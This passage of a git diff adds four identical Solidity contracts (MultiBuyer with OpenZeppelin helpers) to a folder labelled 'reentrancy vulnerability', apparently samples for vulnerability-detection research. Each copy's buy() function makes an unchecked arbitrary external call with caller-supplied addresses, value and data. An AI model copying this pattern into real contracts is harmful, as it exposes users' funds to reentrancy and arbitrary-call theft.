= _adr; + LastMsg.Time = now; + LastMsg.Val = _val; + LastMsg.Data = _data; + History.push(LastMsg); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/245.sol b/smart_contract_dataset/reentrancy vulnerability/245.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/245.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/24501.sol b/smart_contract_dataset/reentrancy vulnerability/24501.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/24501.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/24507.sol b/smart_contract_dataset/reentrancy vulnerability/24507.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/24507.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/24517.sol b/smart_contract_dataset/reentrancy vulnerability/24517.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/24517.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 